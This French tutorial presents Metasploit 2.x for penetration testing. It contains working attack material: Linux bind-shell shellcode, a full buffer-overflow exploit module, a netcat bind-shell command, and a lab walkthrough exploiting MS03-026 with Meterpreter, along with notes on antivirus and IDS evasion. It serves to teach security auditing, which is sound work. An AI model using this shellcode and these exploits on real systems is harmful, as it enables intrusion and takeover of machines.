Metasploit 2.x
Contents
1 Introduction
Metasploit est une plateforme de codes intrusifs développée par le chercheur en sécurité informatique HD Moore. S'appuyant sur une base d'exploits conséquente et un rythme soutenu de développement, Metasploit s'est imposé comme une référence dans les domaines du logiciel libre et de la sécurité informatique.
2 Introduction et présentation
NDLR : ce dossier a été réalisé avec la branche 2.x de Metasploit et plus précisément avec la version 2.5 ; la version la plus récente actuelle de cette branche est la version 2.7 de Metasploit. A noter que les versions de la branche 3.x sont maintenant disponibles sur le site officiel de Metasploit, la version la plus récente proposée en téléchargement sur ce site étant la 3.0. La branche 3.x a été développée autour du langage Ruby contrairement à la branche 2.x qui s'appuie elle largement sur le langage PERL ; parmi les nouveautés apportées par la branche 3.x on retrouve la simplification de l’écriture des exploits et le support de la reconnaissance automatique de réseaux grâce aux plugins « recon » au même titre que celui des techniques d'évasions (IDS/IPS/Antivirus) tout en gardant comme souci principal la portabilité de l'ensemble.
Metasploit s’est imposée comme la plateforme de codes intrusifs - plus connus sous le nom d’exploits - la plus en vogue actuellement. Les raisons en sont nombreuses, mais citons notamment sa licence GPLv2 ( General Public Licence ) ainsi que sa gratuité qui en font un outil très apprécié par la communauté.
Son auteur de talent, HD Moore, n’a pas eu de mal à faire connaître son outil grâce aux nombreuses options qu’il a ajoutées, en relativement peu de temps.
Le framework est développé essentiellement en Perl, mais contient également du code C, de l’assembleur, et du Python.
La communauté « Full disclosure », ayant pour habitude de publier les codes d’exploitation des failles (plus communément appelés « Proof of Concept » ou PoC) sous forme de codes source en C ou Perl en général, commence à changer ses habitudes, et il n’est désormais pas rare de voir des fichiers « .pm » en attachement de mails sur les mailing-lists concernées (dont la plus connue d’entre elles reste bugtraq). Ces fichiers sont des plugins Metasploit directement utilisables sur le framework, sans compilation préalable.
La documentation abondante autour de ce projet permet, aux initiés, il faut le reconnaître, de développer rapidement des plugins complets (exploits, payloads, etc.). Les exploits sous forme de plugins Metasploit sont ainsi développés plus rapidement, et bénéficient d’une meilleure portabilité (Windows notamment, grâce à un environnement Cygwin adapté spécialement).
Un pré requis essentiel à la lecture de cet article est la connaissance des bases de l’écriture de codes malicieux ( principes des buffer overflows, bugs de format).
Metasploit est téléchargeable sur le site officiel en archive GNU/LINUX ou en « installer » Windows. Les deux environnements étant entièrement similaires, nous ne ferons pas de distinction tout au long de cet article.
2.1 Présentation générale
La plateforme Metasploit se présente avec une arborescence claire et très détaillée :
$ ls [data] [exploits] msfcli msfencode msfpescan [nops] [src] [docs] [extras] msfconsole msflogdump msfupdate [payloads] [tools] [encoders] [lib] msfelfscan msfpayload msfweb [sdk]
Les répertoires les plus pertinents dans le cadre de cet article sont :
- extras/ qui contient des suppléments pour la complétion automatique et le support SSL. Il s’agit de 2 archives à ins taller (perl Makefile.PL && make && make install).
- encoders/ contenant différents encodeurs de payloads, NOPs ( No Operation ), permettant par exemple de xorer (chiffrer avec « l’algorithme » XOR – eXclusive OR) un payload et d’ajouter l’en-tête approprié (décodeur XOR) à la charge utile.
- exploits/ contenant l’ensemble des exploits mis à disposition par le framework. Les derniers exploits sont téléchargeables sur le site de Metasploit. Il est également possible de télécharger un « snapshot ». Les exploits qui seront développés en parallèle devront être placés dans ce répertoire pour être utilisés dans Metasploit.
- docs/ contenant une abondante documentation qui couvre la quasi-intégralité des aspects techniques. Certains documents de ce répertoire sont d’ailleurs traduis en Français.
- payloads/ contenant les payloads des différentes architectures et systèmes d’exploitation.
- sdk/ regroupant différentes ressources pour les développeurs : générateur de codes pm pour les buffer overflows, les bugs de format… Il contient également quelques tutoriaux pour s’initier au développement de modules .pm pour Metasploit. Un exemple sera d’ailleurs repris dans le chapitre ci-dessous concernant le scripting.
- tools/ contenant plusieurs outils complémentaires à la plateforme permettant de dumper (récupérer) le contenu de l’adressage mémoire d’un processus, ou encore de lancer le serveur socketninja.pl qui permet des exploitations multiples et simultanées : les cibles se connectant ainsi sur ce serveur en connect back.
Pour rappel, les différentes interfaces disponibles dans le framework sont :
- msfcli pour une exploitation entièrement automatisée en ligne de commande. Cette « interface » rudimentaire est utilisée de préférence dans des scripts externes et est relativement austère pour une utilisation temps réel par un utilisateur.
- msfconsole est « l’interface de prédilection » car elle présente le meilleur compromis entre clarté et rapidité d’utilisation. La complétion et l’aide disponible à tout moment (« help ») permettent de se familiariser rapidement avec cette interface « à étages ».
- msfweb est un GUI (Graphical User Interface) accessible via un navigateur classique.
3 Introduction aux charges utiles (payloads)
Une charge utile est une suite d'instructions qui est envoyée via un exploit pour rediriger le flux d’exécution d'une application faillible afin d'obtenir une invite de commande après compromission. Ces charges peuvent vous permettre entre autres d'exécuter des commandes distantes ou de récupérer une interface graphique.
Un payload (que nous pourrions traduire par charge utile), au sens de la plateforme Metasploit, est le code envoyé dans l’exploit permettant de rediriger le flux d’exécution de l’application vulnérable pour obtenir un shell (terminal de commande), exécuter une commande distante, récupérer l’interface graphique, lancer un serveur, etc.
La plupart du temps, il s’agit d’un shellcode qui est une suite d’opcodes ( codes propres à la plateforme et au système d’exploitation) permettant d’exécuter des instructions. Le shellcode est alors copié en mémoire sur la machine distante (via un buffer overflow, un bug de format, etc.) puis le flux d’exécution de l’application faillible est détourné pour le faire pointer sur ce shellcode.
Selon la taille du tampon (buffer) disponible, qui est fonction du bug, il peut être possible d’insérer des opcodes NOP (opcodes n’exécutant aucune tâche, simplement suite de sauts d’instruction NOP en instruction NOP) pour élargir la fenêtre d’exécution.
En effet, il n’est pas toujours évident de connaître l’emplacement en mémoire du shellcode envoyé (sauf pour les bugs de format typiquement), et l’utilisation d’un grand nombre de NOP permet de minimiser les risques d’erreur : le résultat sera identique si le flux est redirigé sur le premier NOP ou sur le 2500e par exemple.
Les opcodes de NOP Intel les plus connus sont 0x90 et 0x41 mais il en existe de nombreux autres, et il est également possible de créer des suites de NOP aléatoires en fonction du nombre de NOP à envoyer, permettant ainsi d’échapper aux IDS/IPS (respectivement Intrusion Detection System et Intrusion Protection System ) qui réagissent à des patterns de ce type.
Une suite équivalente de NOPs pourrait par exemple empiler puis dépiler une valeur sur la pile, ne modifiant pas le comportement de l’application, et ne pouvant donc pas entraîner de crash :
push EAX (opcode 0x50) pop EAX (opcode 0x58)
Ces deux instructions étant opposées et sans conséquence, nous pourrions remplacer une série de « 0x90 0x90 » (« \x90\x90 ») par « 0x50 0x58 » (« \x50\x58 »). Il existe des générateurs permettant d’automatiser cette tâche ( shellforge ).
Les shellcodes sont également spécifiques aux architectures pour diverses raisons dont des jeux d’instructions différents, des sens de lecture de la mémoire : little/big endian, etc.
Un bind shellcode consiste à exécuter sur la machine distante l’équivalent d’un serveur : un port ( TCP ou UDP ) se met alors en écoute de connexions entrantes et redirige les flux vers un shell (« /bin/sh » sous GNU/Linux par exemple).
Il est possible de se faire une idée de ce processus grâce à l’outil netcat qui permet de mettre en écoute un shell sur un port TCP :
$ nc –l –p 11000 –c /bin/sh
3.1 Commande côté serveur
$ nc localhost 11000 pwd /home/user date ven dc 2 19:53:08 CET 2005 nc serveurssh 22 SSH-2.0-OpenSSH_3.8.1p1 Debian-8.sarge.4
3.2 Commandes côté client
Un reverse shellcode permet d’obtenir un comportement de client standard sur la machine exploitée, c'est-à-dire qu’elle établira une connexion sur une machine définie (fixée dans le payload envoyé) et lancera alors un shell que le « serveur » pourra contrôler. Les reverse shellcodes permettent parfois d’outrepasser des règles de filtrage sur des firewalls de niveau 3.
Il est également possible de combiner des attaques de reverse shellcode avec des injections (dans des processus, threads, …) afin de contourner des pare-feux applicatifs. Ces types de shellcodes sont également appelés shellcodes connect back. Plusieurs commandes concernant les payloads sont disponibles dans Metasploit. En voici certaines :
msf > info payload win32_bind_vncinject Name: Windows Bind VNC Server DLL Inject Version: $Revision: 1.18 $ OS/CPU: win32/x86 Needs Admin: No Multistage: Yes Total Size: 287 Keys: bind Provided By: Matt Miller H D Moore (…) Description: Listen for connection and inject a VNC server into the remote process msf lsass_ms04_011(win32_bind_vncinject) > show options Exploit and Payload Options =========================== Exploit: Name Default Description -------- ------- ------- --------------------------------------- required RHOST The target address optional SMBDOM The domain for specified SMB username required RPORT 139 The target port optional SMBUSER The SMB username to connect with optional SMBPASS The password for specified SMB username Payload: Name Default Description required VNCDLL /home/user/Softs/Securite/Progs/metasploit_2.5/data/vncdll.dll The full path the VNC service dll required EXITFUNC thread Exit technique: "process", "thread", "seh" required AUTOVNC 1 Automatically launch vncviewer required VNCPORT 5900 The local port to use for the VNC proxy required LPORT 4444 Listening port for bind shell
Il est ensuite possible de définir les options normalement : set OPTION [VALEUR].
3.3 Localisation et développement
Les payloads de Metasploit sont localisés dans le répertoire « payloads/ ». Leur rédaction est très simple et il est possible d’implémenter de nouvelles extensions très rapidement. Nous allons détailler ci-dessous le payload linux_ia32_bind qui permet d’exécuter un shellcode sur un port distant défini en argument (set LPORT 12345).
Les premières parties sont « déclaratives » :
package Msf::Payload::linux_ia32_bind; use strict; use base 'Msf::PayloadComponent::BindConnection';
Puis les détails qui seront ensuite interfacés dans Metasploit sont définis dans une structure $info. Il s’agit ici d’un payload destiné à des Linux Intel 32 bits sans élévation de privilège (pas de set(r)(e)uid dans le shellcode) :
my $info =
{
'Name' => 'Linux IA32 Bind Shell',
'Version' => '$Revision: 1.2 $',
'Description' => 'Listen for connection and spawn a shell',
'Authors' => [ 'skape ', 'vlad902 ' ],
'Arch' => [ 'x86' ],
'Priv' => 0,
'OS' => [ 'linux' ],
'Size' => '',
};La taille est ensuite calculée automatiquement dans le constructeur, avec un argument LPORT pour définir le port qui sera mis en écoute (modification d’une partie du shellcode « à la volée » par une couche d’abstraction) :
sub new
{
my $class = shift;
my $hash = @_ ? shift : { };
$hash = $class->MergeHashRec($hash, {'Info' => $info});
my $self = $class->SUPER::new($hash, @_);
$self->_Info->{'Size'} = $self->_GenSize;
return($self);
}
sub Build
{
my $self = shift;
return($self->Generate($self->GetVar('LPORT')));
}Le code peut alors être généré et modifié avec les options que l’utilisateur pourra définir. Ici, le choix du port en écoute est fait avec l’argument LPORT qui modifiera les octets concernés. La fonction pack avec le template « n » permet de convertir la valeur passée en argument en entier non signé (unsigned int) de type réseau (big endian).
sub Generate
{
my $self = shift;
my $port = shift;
my $off_port = 0x14;
my $port_bin = pack('n', $port);
my $shellcode =
"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80\x96" .
"\x43\x52\x66\x68\xbf\xbf\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56" .
"\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x43\x89\xe1" .
"\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0" .
"\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53" .
"\x89\xe1\xcd\x80";
substr($shellcode, $off_port, 2, $port_bin);
return($shellcode);
}
sub _GenSize
{
my $self = shift;
my $bin = $self->Generate('4444');
return(length($bin));
}
1;4 Les charges utiles disponibles
Retrouvez dans cette partie du dossier, consacré à la plateforme d'exploitation Metasploit, la liste de l'ensemble des charges utiles disponibles sur cette plateforme afin de réaliser vos audits de sécurité de façon intrusive. Ces charges utiles sont disponibles pour de multiples systèmes d'exploitation (BSD, Linux, Windows, solaris, ...).
4.1 Payloads BSD
Les payloads pour les systèmes d’exploitation BSD et BSDi sont disponibles pour des architectures Intel 32 bits (x86) et Sparc.
bsd_ia32_bind BSD IA32 Bind Shell bsd_ia32_bind_stg BSD IA32 Staged Bind Shell bsd_ia32_exec BSD IA32 Execute Command bsd_ia32_findrecv BSD IA32 Recv Tag Findsock Shell bsd_ia32_findrecv_stg BSD IA32 Staged Findsock Shell bsd_ia32_findsock BSD IA32 SrcPort Findsock Shell bsd_ia32_reverse BSD IA32 Reverse Shell bsd_ia32_reverse_stg BSD IA32 Staged Reverse Shell bsd_sparc_bind BSD SPARC Bind Shell bsd_sparc_reverse BSD SPARC Reverse Shell bsdi_ia32_bind BSDi IA32 Bind Shell bsdi_ia32_bind_stg BSDi IA32 Staged Bind Shell bsdi_ia32_findsock BSDi IA32 SrcPort Findsock Shell bsdi_ia32_reverse BSDi IA32 Reverse Shell bsdi_ia32_reverse_stg BSDi IA32 Staged Reverse Shell
4.2 Payloads génériques
Ils sont destinés à des exploitations dont les shellcodes ne nécessitent pas d'opcodes.
cmd_generic Arbitrary Command cmd_interact Unix Interactive Shell cmd_irix_bind Irix Inetd Bind Shell cmd_localshell Interactive Local Shell cmd_sol_bind Solaris Inetd Bind Shell cmd_unix_reverse Unix Telnet Piping Reverse Shell cmd_unix_reverse_bash Unix /dev/tcp Piping Reverse Shell cmd_unix_reverse_nss Unix Spaceless Telnet Piping Reverse Shell generic_sparc_execve BSD/Linux/Solaris SPARC Execute Shell
4.3 Payload Irix
Le payload Irix disponible sur la plateforme Metasploit permet d’exécuter un shell en redirigeant l’entrée et la sortie standard vers le descripteur de fichier utilisé par la connexion en cours (à la façon de la commande dup(file_descriptor).
irix_mips_execve Irix MIPS Execute Shell
4.4 Payloads Linux
Les payloads Metasploit disponibles pour Linux supportent les architectures Intel classiques 32 bit et Sparc. Certains payloads permettent de contourner des règles de filtrage négligentes, notamment via des reverse shellcodes. linux_ia32_reverse_udp permet, par exemple, d’outrepasser des pare-feux mal configurés pour la résolution de noms (trafic souvent « ouvert » pour le port source/destination UDP/53).
linux_ia32_adduser Linux IA32 Add User linux_ia32_bind Linux IA32 Bind Shell linux_ia32_bind_stg Linux IA32 Staged Bind Shell linux_ia32_exec Linux IA32 Execute Command linux_ia32_findrecv Linux IA32 Recv Tag Findsock Shell linux_ia32_findrecv_stg Linux IA32 Staged Findsock Shell linux_ia32_findsock Linux IA32 SrcPort Findsock Shell linux_ia32_reverse Linux IA32 Reverse Shell linux_ia32_reverse_impurity Linux IA32 Reverse Impurity Upload/Execute linux_ia32_reverse_stg Linux IA32 Staged Reverse Shell linux_ia32_reverse_udp Linux IA32 Reverse UDP Shell linux_sparc_bind Linux SPARC Bind Shell linux_sparc_findsock Linux SPARC SrcPort Find Shell linux_sparc_reverse Linux SPARC Reverse Shell
4.5 Payloads Mac OS X
Les failles Mac OS X, encore relativement récentes en comparaison aux autres systèmes d’exploitation implémentés, ne sont pas en reste dans le framework Metasploit avec des payloads de connect back pouvant également permettre parfois d’outrepasser certaines règles de filtrage.
osx_ppc_bind Mac OS X PPC Bind Shell osx_ppc_bind_stg Mac OS X PPC Staged Bind Shell osx_ppc_findrecv_stg Mac OS X PPC Staged Find Recv Shell osx_ppc_reverse Mac OS X PPC Reverse Shell osx_ppc_reverse_nf_stg Mac OS X PPC Staged Reverse Null-Free Shell osx_ppc_reverse_stg Mac OS X PPC Staged Reverse Shell
4.6 Payloads Solaris
Les payloads Solaris supportent les architectures Intel et Sparc avec, au choix, une connexion directe sur la machine attaquée ou en connect back.
solaris_ia32_bind Solaris IA32 Bind Shell solaris_ia32_findsock Solaris IA32 SrcPort Findsock Shell solaris_ia32_reverse Solaris IA32 Reverse Shell solaris_sparc_bind Solaris SPARC Bind Shell solaris_sparc_findsock Solaris SPARC SrcPort Find Shell solaris_sparc_reverse Solaris SPARC Reverse Shell
4.7 Payloads Windows
Les payloads disponibles pour Windows sont incontestablement les plus évolués en raison du haut niveau d’abstraction que MS Windows propose, y compris sur du code bas niveau. Il est possible, via des appels d’API, des injections de DLL, etc., d’agir de façon très « localisée » sur la machine compromise. Les payloads VNC permettent un contrôle graphique à distance (via le fameux logiciel VNC en déportant l’affichage de la machine compromise.
Nous détaillerons plus bas avec précision le cas des payloads win32_bind_meterpreter et win32_findrecv_ord_meterpreter qui permettent d’obtenir un environnement haut niveau complet.
win32_adduser Windows Execute net user /ADD win32_bind Windows Bind Shell win32_bind_dllinject Windows Bind DLL Inject win32_bind_meterpreter Windows Bind Meterpreter DLL Inject win32_bind_stg Windows Staged Bind Shell win32_bind_stg_upexec Windows Staged Bind Upload/Execute win32_bind_vncinject Windows Bind VNC Server DLL Inject win32_exec Windows Execute Command win32_findrecv_ord_meterpreter Windows Recv Tag Findsock Meterpreter win32_findrecv_ord_stg Windows Recv Tag Findsock Shell win32_findrecv_ord_vncinject Windows Recv Tag Findsock VNC Inject
5 La charge utile Meterpreter
Meterpreter ou Meta-Interpreter) est une charge utile qui est disponible, dans la plateforme d'exploitation Metasploit, pour les systèmes d'exploitation de type Microsoft Windows. Meterpreter propose de nombreuses fonctionnalités comme les redirections de port, les opérations sur les fichiers et les injections de DLL mais également les exécutions furtives dites tout en mémoire.
Meterpreter (pour Meta-Interpreter) est un payload disponible pour Windows. Il permet d’ajouter une couche d’abstraction à l’exploitation classique en proposant de nombreuses fonctionnalités avancées : redirection de port, opérations sur le système de fichier, configuration réseau, injection, etc.
Il est également possible de développer de nouvelles DLL injectables par la suite grâce à une API documentée disponible. L’intégralité du code exécuté par Meterpreter est localisé en mémoire vive, évitant les accès au disque et pouvant ainsi outrepasser de nombreux antivirus.
En fonctionnant à un niveau système « bas », Meterpreter peut contourner de nombreuses protections qui sont souvent trop coûteuses à mettre en place à ce niveau, en termes de performances. Meterpreter s’exécute dans le contexte de l’application vulnérable et ne crée aucun nouveau processus ou thread.
Un moteur cryptographique est également fourni pour garantir la confidentialité des échanges entre le framework et la machine exploitée.
Nous ne détaillerons pas les API Meterpreter et les démarches pour le développement de DLL, les documentations étant très abondantes à ce sujet et la programmation Windows n’étant pas le principal objet de l’article.
Les payloads implémentant Meterpreter sont win32_bind_meterpreter et win32_findrecv_ord_meterpreter. Après exploitation de la faille, le payload envoie la DLL de Meterpreter et la charge dans la mémoire du processus ainsi exploité :
[*] Uploading dll to memory (69643), Please wait... [*] Upload completed meterpreter> [ -= connected to =- ] [ -= meterpreter server =- ] [ -= v. 00000500 =- ] meterpreter> help Core Core feature set commands ------------ ---------------- read Reads from a communication channel write Writes to a communication channel close Closes a communication channel interact Switch to interactive mode with a channel help Displays the list of all register commands exit Exits the client initcrypt Initializes the cryptographic subsystem Extensions Feature extension commands ------------ ---------------- loadlib Loads a library on the remote endpoint use Uses a feature extension module
Il est alors possible de charger différents modules externes :
- Fs pour l’accès au système de fichiers (navigation, upload/download de fichiers)
- Net pour la configuration réseau, le routage, ainsi que le forwarding de ports.
- Process pour la gestion des processus distants (lancement, arrêt, listage)
- Sys permettant la récupération d’informations système.
Meterpreter> use -m Net, Process, Sys, Fs
D’autres fonctionnalités peuvent être ajoutées en développant des librairies dynamiques pour l’occasion.
Le moteur cryptographique peut être lancé avec la commande initcrypt.
6 Scripting
Metasploit fournit un ensemble de fonctions qui permettent de gagner un temps considérable pour le développement d’exploits vis à vis de la méthode classique. Retrouvez dans cette partie un exemple concret qui facilitera la compréhension de plusieurs de ces fonctions de façon détaillée.
L’abstraction fournie par Metasploit pour le développement d’exploits permet de gagner énormément de temps en comparaison à un exploit « from scratch » développé sans modèle, sans librairie, et en C par exemple. Nous détaillerons ici un exemple fourni dans la documentation permettant de cerner plusieurs fonctions.
Le code commence encore une fois par une définition classique Perl, avec le nom de l’exploit (ici « vuln1_3 » car l’exploit s’appelle vuln1_3.pm) :
package Msf::Exploit::vuln1_3; use strict; use base 'Msf::Exploit'; use Msf::Socket::Tcp; use Pex::Text;
Puis une structure “interne” permettant de définir le nombre de caractères à écrire avant l’adresse de retour, qui sera elle aussi plusieurs fois écrite (il faudra soigner l’alignement sur les 4 octets d’un processeur 32 bits) :
my $advanced = {
# Calculated at 76, give some room for different paddings, etc
'PreRetLength' => [76 - 8, 'Space before the we start writing return address.'],
'RetLength' => [32, 'Length of rets to write (in bytes)'],
};Vient ensuite la structure d’informations qui sera récupérée par Metasploit pour décrire l’exploit dans son interface, contenant par la même occasion l’adresse de retour standard de l’OS visé (ici l’adresse 0xbffffffa60, qui est une adresse située dans la pile, ( stack ) :
my $info = {
'Name' => 'Vuln1 v3 Exploit',
'Version' => '$Revision: 1.1 $',
'Authors' => [ 'spoonm', ],
'Arch' => [ 'x86' ],
'OS' => [ 'linux'],
'Priv' => 1,
'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 11221],
},
'Payload' =>
{
'Space' => 500,
'BadChars' => "",
'MinNops' => 16,
'Keys' => ['+findsock'],
},
'Description' => Pex::Text::Freeform(qq{With new Findsock Action}),
'Refs' =>
[
'www.metasploit.com',
],
'DefaultTarget' => -1,
'Targets' =>
[
['Slackware Linux', 0xbffffa60],
],
};Puis le contructeur classique :
sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}Le code, à proprement dit, de l’exploit se situe dans la routine Exploit avec ses différents arguments (RHOST et RPORT, TARGET et CPORT étant des paramètres annexes). La première partie définit les variables avec les arguments passés et/ou les valeurs par défaut. La connexion s’établit avec Msf::Socket::Tcp. Le payload complet se nomme ici « evil ».
La commande pack avec le template “V” permet de convertir la valeur en unsigned long au format little endian pour un adressage mémoire Intel classique. L’envoi du payload s’effectue alors avec la méthode Send puis la tentative d’attachement est réalisée avec $self->Handler($sock). Le code doit toujours se terminer avec la dernière ligne (« 1 ; »)
sub Exploit {
my $self = shift;
my $targetHost = $self->GetVar('RHOST');
my $targetPort = $self->GetVar('RPORT');
my $targetIndex = $self->GetVar('TARGET');
my $srcPort = $self->GetVar('CPORT'); # Get src port from env
my $encodedPayload = $self->GetVar('EncodedPayload');
my $shellcode = $encodedPayload->Payload;
my $target = $self->Targets->[$targetIndex];
my $ret = $target->[1];
my $sock = Msf::Socket::Tcp->new(
'PeerAddr' => $targetHost,
'PeerPort' => $targetPort,
'LocalPort' => $srcPort,
);
if($sock->IsError) {
$self->PrintLine('Error creating socket: ' . $sock->GetError);
return;
}
$self->PrintLine('Trying ' . $target->[0] . ' - ' . sprintf('0x%08x', $ret));
my $evil = 'A' x $self->GetLocal('PreRetLength');
$evil .= pack('V', $ret) x int($self->GetLocal('RetLength') / 4);
$evil .= $shellcode;
$sock->Send($evil);
$self->Handler($sock);
return;
}
1;7 Méthodologie d’un audit de sécurité
Retrouver dans cette partie les détails relatifs aux étapes nécessaires à la réalisation d'un audit de sécurité, cet audit sera effectué sur un réseau simulé à l'aide de machines virtuelles de type Vmware. L'utilisation de Metasploit est ici conjointe à l'utilisation d'outils comme Nmap, Nessus et Netcat.
Nous détaillerons ici, de manière succincte, les différentes étapes d’un pen-test (penetration testing) sur un réseau simulé basé sur des machines virtuelles vmware . Voici les informations concernant le réseau de tests :
Machine d’audit : 172.16.185.1 Linux
Réseau audité : 172.16.185.0/24
Les outils utilisés pour cet audit sont tous gratuits. il s’agit d’outils très connus dans le domaine de la sécurité :
7.1 Machine virtuelle Windows 2000
La première étape est une « reconnaissance » du réseau audité grâce à un ping scan de l’outil nmap.
Nous découvrons alors 4 machines sur ce réseau : 172.16.185.1 (notre machine), 172.16.185.100, 172.16.185.101 et 172.16.185.254. Les premiers tests plus approfondis s’effectuent sur l’hôte
172.16.185.101 via un scan TCP nmap (option –sT) avec reconnaissance de l’OS (option –O) et des services (option –sV). Les résultats du scan sont plutôt positifs pour un test d’intrusion et laissent apparaître un défaut de mises à jour évident sur une ancienne version de Windows 2000.
Nous lançons alors un scan Nessus qui permettra de confirmer ou d’infirmer nos suppositions et de tester différentes failles connues. Nous activons le mode « safe checks » afin d’éviter un crash de la machine distante, ce qui peut néanmoins donner quelques faux positifs. Nous vérifierons le résultat du scan grâce à la plateforme Metasploit. N’ayant pas de contrainte de furtivité, nous utiliserons également le module nmap de Nessus en mode insane pour accélérer le processus.
Le résultat confirme que la machine auditée présente de nombreuses failles critiques, notamment en raison de dernières mises à jour trop anciennes.
La probabilité de réussite de l’exploitation est ici très élevée mais nous devons cependant obtenir des informations plus précises concernant la machine distante : version Windows, numéro du service pack, langue, etc.
Les exploits sous Windows étant la plupart du temps relativement peu « portables », ces informations sont capitales quant aux chances de réussite de l’exploitation future. Une erreur entraînera presque à coup sur un plantage et il s’agit souvent d’exploits one shot ne laissant pas l’opportunité de relancer un test après une exploitation infructueuse, augmentant également les chances de détection de l’attaque.
Netbios étant activé et non filtré sur la machine auditée, nous allons récupérer des informations importantes via l’utilitaire smbclient contenu dans le package samba-client de la plupart des distributions Linux :
lapt41p:~# smbclient -L 172.16.185.101 Domain=[VM2000] OS=[Windows 5.0] Server=[Windows 2000 LAN Manager] Sharename Type Comment --------- ---- ------- Impressions Disk IPC$ IPC IPC distant ADMIN$ Disk Administration distance C$ Disk Partage par dfaut session request to 172.16.185.101 failed (Called name not present) session request to 172 failed (Called name not present) Domain=[VM2000] OS=[Windows 5.0] Server=[Windows 2000 LAN Manager] Server Comment --------- ------- Workgroup Master --------- -------
Accès aux informations Netbios de la machine
La première information est qu’il s’agit bien effectivement d’une machine sous Windows 2000 et que la langue a de grandes chances d’être le Français (noms des partages). Ces informations permettront de définir les targets de Metasploit.
Les références des failles Nessus recensées permettent ensuite de choisir l’exploit à lancer contre cette machine… Le choix est large pour cette machine ! Metasploit se charge ensuite du reste :
msf > use msrpc_dcom_ms03_026 msf msrpc_dcom_ms03_026 > set PAYLOAD win32_bind_meterpreter PAYLOAD -> win32_bind_meterpreter msf msrpc_dcom_ms03_026(win32_bind_meterpreter) > show options Exploit and Payload Options =========================== Exploit: Name Default Description -------- ------ ------- ------------------ required RHOST The target address required RPORT 135 The target port Payload: Name Default Description -------- -------- ------------------------------------------------- required EXITFUNC thread Exit technique: "process", "thread", "seh" required METDLL /home/user/Softs/Securite/Progs/metasploit_2.5/dat a/meterpreter/metsrv.dll The full path the meterpreter server dll required LPORT 4444 Listening port for bind shell Target: Windows NT SP3-6a/2K/XP/2K3 English ALL msf msrpc_dcom_ms03_026(win32_bind_meterpreter) > set TARGET 0 TARGET -> 0 msf msrpc_dcom_ms03_026(win32_bind_meterpreter) > set RHOST 172.16.185.101 RHOST -> 172.16.185.101 msf msrpc_dcom_ms03_026(win32_bind_meterpreter) > set LPORT 12345 LPORT -> 12345 msf msrpc_dcom_ms03_026(win32_bind_meterpreter) > exploit [*] Starting Bind Handler. [*] Splitting RPC request into 7 packets [*] Got connection from 172.16.185.1:40770 <-> 172.16.185.101:12345 [*] Sending Stage (2834 bytes) [*] Sleeping before sending dll. [*] Uploading dll to memory (69643), Please wait... [*] Upload completed meterpreter> [ -= connected to =- ] [ -= meterpreter server =- ] [ -= v. 00000500 =- ] meterpreter> use -m Fs loadlib: Loading library from 'ext356083.dll' on the remote machine. meterpreter> loadlib: success. meterpreter> cd \ cd: Changing directory to '’ meterpreter> cd: success. meterpreter> ls ls: Requesting a directory listing meterpreter> Listing: * Size Type Name --------- ----- ---------------- 145.50 KB REG arcldr.exe (…)
8 Conclusion
Les audits intrusifs sont aujourd'hui une part intégrante dans le domaine de la sécurité des systèmes d’information, les chances de recencer des vulnérabilités, lors de ces audits, sont d'autant plus importantes si l'on se positionne à la manière d'un attaquant potentiel. Retrouvez dans cette partie les conclusions du dossier sur Metasploit ainsi que l'ensemble des liens relatifs à celui-ci.
Les audits intrusifs se sont démocratés peu à peu dans le milieu de la sécurité des systèmes d’information. Jusqu’alors très mal perçus en raison de leur caractère offensif, ils se révèlent finalement très adaptés à la sécurisation des infrastructures. Il est en effet utopique de croire qu’un réseau peut être sécurisé par des personnes n’ayant pas la culture des failles de sécurité qu’il peut contenir.
En se plaçant dans la même situation qu’un individu malicieux (les audits intrusifs peuvent être réalisés « à l’aveugle » en conditions réelles, de l’intérieur et/ou de l’extérieur, sans information préalable), les chances de recenser les vulnérabilités sont plus élevées et la sensibilisation d’autant plus forte que les répercutions de l’attaque sont démontrées et directement visibles par les clients.
Certaines politiques de sécurité visent systématiquement à « imposer » la sécurité aux utilisateurs mais ne serait-ce t’il pas plus judicieux de leur faire intégrer cette nouvelle dimension, souvent mal accueillie ?
A plus petite échelle, un utilisateur « lambda » ne souhaite généralement pas entrer un mot de passe long et complexe… N’est-il pas plus intéressant de le sensibiliser sur le sujet, de lui expliquer, voire lui démontrer via une présentation, l’intérêt de cette « contrainte » qui lui est imposée ?
Les tests d’intrusion actifs sont un élément important de cette politique de sensibilisation et ont un impact global très fort, tant sur les décideurs que sur les utilisateurs.
Metasploit est une plateforme de choix mais reste cependant complémentaire à d’autres outils. Son utilisation et son ergonomie, certes complexes pour un non-technicien, sont très appréciées par les personnes travaillant dans le domaine de la sécurité.
De nombreux chercheurs l’utilisent également en raison de sa souplesse et de la rapidité avec laquelle de nouveaux exploits peuvent être développés. Les briques Metasploit (payloads, encodeurs, etc.) sont réutilisables aisément et permettent de concentrer les efforts sur le travail amont : recherche des vulnérabilités, désassemblage, analyse de code…
